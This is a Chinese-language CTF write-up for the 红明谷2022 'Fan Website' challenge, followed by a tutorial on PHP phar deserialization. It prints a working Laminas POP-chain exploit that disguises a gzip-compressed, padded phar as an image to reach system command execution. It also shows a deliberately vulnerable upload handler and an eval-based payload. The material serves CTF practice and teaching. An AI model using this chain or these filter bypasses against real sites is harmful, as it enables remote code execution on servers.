红明谷2022 [TOC]
Fan Website 扫描到www.zip中有源码,Album是自写的部分,整个工程搜索 crtl+shift+; 搜到unserilize()但是没有污点源
/module/Album/src/Controller/AlbumController.php中
有两个限制,首先上传文件不能含有HALT_COMPLIER,这里用蓝帽杯决赛和去年虎符决赛的思路,使用gzip压缩一次就好了
gzip后,对比,没有了HALT_COMPLIER()
然后对文件大小也有限制,这里用python产生垃圾数据,并追加到phar文件中
产生垃圾数据:
1 2 3 4 5 6 7 8 9 10 11 12 import random def ranstr (num ): H = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' salt = '' for i in range (num): salt += random.choice(H) return salt salt = ranstr(12000 ) print (salt)f = open ('test.txt' ,'w' ) f.write(salt) f.close()
另外,前面还有对上传文件后缀为图片格式的限制,改下后缀
1 rename("yenan.phar.gz", "yenan.png");
链子就直接用 https://xz.aliyun.com/t/8975#toc-12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php namespace Laminas \View \Resolver { class TemplateMapResolver { protected $map = ["setBody "=>"system "]; } } namespace Laminas \View \Renderer { class PhpRenderer { private $__helpers ; function __construct ( ) { $this ->__helpers = new \Laminas\View\Resolver\TemplateMapResolver (); } } } namespace Laminas \Log \Writer { abstract class AbstractWriter {} class Mail extends AbstractWriter { protected $eventsToMail = ["cat /flag "]; protected $subjectPrependText = null ; protected $mail ; function __construct ( ) { $this ->mail = new \Laminas\View\Renderer\PhpRenderer (); } } } namespace Laminas \Log { class Logger { protected $writers ; function __construct ( ) { $this ->writers = [new \Laminas\Log\Writer\Mail ()]; } } } namespace { // use \Laminas \Log \Logger ; $o = new \Laminas\Log\Logger (); $phar = new Phar ("yenan.phar" ); $phar ->startBuffering (); $phar ->setStub ("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>" ); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , file_get_contents ("test.txt" )); $phar ->stopBuffering (); system ("gzip yenan.phar" ); rename ("yenan.phar.gz" , "yenan.png" ); } ?>
观察生成的文件结构:可见先是stub部分,然后是序列化数据部分,最后是无用随机字符部分
在/album/imgupload上传后
审计/module/Album/src/Controller/AlbumController.php中,有unlink这个文件操作函数,我们知道php一大部分的文件系统函数 在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
在/album/imgdelete触发
路由规则咋规定的呢在/module/config里面 :
module下面的两个就是根路由,要么是/album,要么是/application,然后对于application,找src下面的controller的IndexController.php,里面有indexAction()方法,因此,index就是路由
1 http://vps:port/application/index
这个同理,/album下面的,src中的Controller下的AlbumController类中的deleteAction()方法,因此delete就是路由
1 http://vps:port/album/add
利用 phar:// 拓展 PHP 反序列化的攻击面 1、回顾一下原先PHP反序列化攻击的必要条件 (1)首先我们必须有unserialize()函数
(2)unserialize()函数的参数必须可控
2、Phar://如何扩展反序列化攻击面的 原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。
3、phar的使用 1.Phar的文件结构 (1) a stub
可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
(2) a manifest describing the contents
因为 Phar 本身就是一个压缩文件,它里面存储着其中每个被压缩文件的权限、属性等信息。这部分还会以序列化的形式存储用户自定义的meta-data ,这是上述攻击手法最核心的地方。
(3)the file contents
被压缩文件内容
2.如何创建一个phar压缩文件 注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new TestObject (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
因为不是文本文件,我们使用hexdump看一下文件内容
可以清楚地看到我们的 TestObject 类已经以序列化的形式存入文件中
我们刚刚说过了,php一大部分的文件系统函数 在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,文件系统函数表:
3.phar反序列化小实验 实例代码:
1 2 3 4 5 6 7 8 9 10 <?php class TestObject { public function __destruct ( ) { echo 'Destruct called' ; } } $filename = 'phar://phar.phar/test.txt' ; file_get_contents ($filename ); ?>
结果输出Destruct called
可以看出我们成功的在没有 unserailize() 函数的情况下,通过精心构造的 phar 文件,再结合 phar:// 协议,配合文件系统函数,实现了一次精彩的反序列化操作。
4.将phar伪造成其他格式的文件 在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头 +修改后缀名 的方式将phar文件伪装成其他格式的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $o = new TestObject (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
采用这种方法可以绕过很大一部分上传检测
4、phar实际利用 4.1,利用条件
(1)phar文件要能够上传到服务器端。
(2)要有可用的魔术方法作为“跳板”。
(3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
4.2实战
前端的上传页面
1 2 3 4 5 6 7 8 9 10 11 12 13 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > ea3y_upload_file</title > </head > <body > <form action ="http://localhost/ctf/phar/upload.php" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" name ="upload" /> </form > </body > </html >
后台的检测页面,先限制好只能传gif
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (($_FILES ["file" ]["type" ]=="image/gif" )&&(substr ($_FILES ["file" ]["name" ], strrpos ($_FILES ["file" ]["name" ], '.' )+1 ))== 'gif' ) { echo "Upload: " . $_FILES ["file" ]["name" ]."<br>" ; echo "Type: " . $_FILES ["file" ]["type" ]."<br>" ; echo "Temp file: " . $_FILES ["file" ]["tmp_name" ]."<br>" ; if (file_exists ("upload_file/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " already exists. " ; } else { move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload_file/" .$_FILES ["file" ]["name" ]); echo "Stored in: " . "upload_file/" . $_FILES ["file" ]["name" ]; } } else { echo "Invalid file,you can only upload gif" ; }
后台解析文件的php
1 2 3 4 5 6 7 8 $filename =$_GET ['filename' ];class AnyClass { function __destruct ( ) { eval ($this ->data); } } include ($filename );
类里面有个魔幻函数,同时还有一句eval,甚至还能给你一句include,没错,就是它了
自己打一个生成phar的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class AnyClass { function __destruct ( ) { eval ($this -> data); } } $phar = new Phar ('phar2.phar' );$phar -> stopBuffering ();$phar -> setStub ('GIF89a' .'<?php __HALT_COMPILER();?>' );$phar -> addFromString ('test.txt' ,'test' );$object = new AnyClass ();$object -> data = 'phpinfo();' ;$phar -> setMetadata ($object );$phar -> stopBuffering ();
可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息
执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问